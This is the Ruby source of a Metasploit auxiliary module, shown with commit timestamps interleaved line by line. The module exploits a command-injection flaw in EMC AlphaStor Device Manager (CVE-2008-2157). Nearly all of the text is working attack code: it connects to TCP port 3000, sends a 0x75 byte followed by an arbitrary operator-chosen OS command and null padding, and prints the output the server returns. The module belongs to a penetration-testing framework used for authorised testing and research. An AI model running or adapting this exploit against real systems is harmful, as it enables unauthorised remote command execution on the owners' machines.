2008-09-01 11:28:55 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-09-01 11:28:55 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-09-01 11:28:55 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
|
|
|
|
|
because the application fails to properly sanitize user-supplied input.
|
|
|
|
|
},
|
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
|
2016-07-15 12:00:31 -05:00
|
|
|
[ 'OSVDB', '45715' ],
|
2009-10-14 11:45:14 +00:00
|
|
|
[ 'CVE', '2008-2157' ],
|
2008-09-01 11:28:55 +00:00
|
|
|
[ 'BID', '29398' ],
|
|
|
|
|
],
|
2020-10-02 17:38:06 +01:00
|
|
|
'DisclosureDate' => '2008-05-27'))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
2008-09-01 11:28:55 +00:00
|
|
|
[
|
|
|
|
|
Opt::RPORT(3000),
|
|
|
|
|
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2008-09-01 11:28:55 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-09-01 11:28:55 +00:00
|
|
|
def run
|
|
|
|
|
connect
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-09-01 11:28:55 +00:00
|
|
|
data = "\x75" + datastore['CMD']
|
|
|
|
|
pad = "\x00" * 512
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
pkt = data + pad
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
print_status("Sending command: #{datastore['CMD']}")
|
2008-09-01 11:28:55 +00:00
|
|
|
sock.put(pkt)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-09-01 11:28:55 +00:00
|
|
|
# try to suck it all in.
|
2010-06-22 18:58:38 +00:00
|
|
|
select(nil,nil,nil,5)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-06-04 15:31:10 -05:00
|
|
|
res = sock.get_once || ''
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-06-04 15:31:10 -05:00
|
|
|
res.each_line do |info|
|
2011-09-11 02:42:39 +00:00
|
|
|
print_status("#{info.gsub(/[^[:print:]]+/,"")}") # hack.
|
2008-09-01 11:28:55 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-09-01 11:28:55 +00:00
|
|
|
disconnect
|
2019-07-26 23:53:46 +00:00
|
|
|
rescue ::Rex::ConnectionError => e
|
|
|
|
|
print_error 'Connection failed'
|
|
|
|
|
rescue ::EOFError => e
|
|
|
|
|
print_error 'No reply'
|
2008-09-01 11:28:55 +00:00
|
|
|
end
|
2009-10-14 11:45:14 +00:00
|
|
|
end
|